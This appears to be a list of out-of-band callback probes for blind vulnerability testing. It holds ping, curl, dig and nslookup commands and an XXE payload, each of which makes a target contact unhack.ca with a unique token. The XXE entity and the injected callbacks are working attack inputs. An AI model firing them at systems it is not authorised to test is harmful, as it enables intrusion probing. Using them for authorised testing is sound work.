$ ping -c1 -p 00d47d5a900107bc46e8f6a66b84fb00 unhack.ca
$ curl http://unhack.ca/p/d47d5a900107bc46e8f6a66b84fb
$ dig d47d5a900107bc46e8f6a66b84fb @unhack.ca
$ dig d47d5a900107bc46e8f6a66b84fb.ns.unhack.ca
C:\> nslookup d47d5a900107bc46e8f6a66b84fb unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/d47d5a900107bc46e8f6a66b84fb">]> <foo>&xxe;</foo>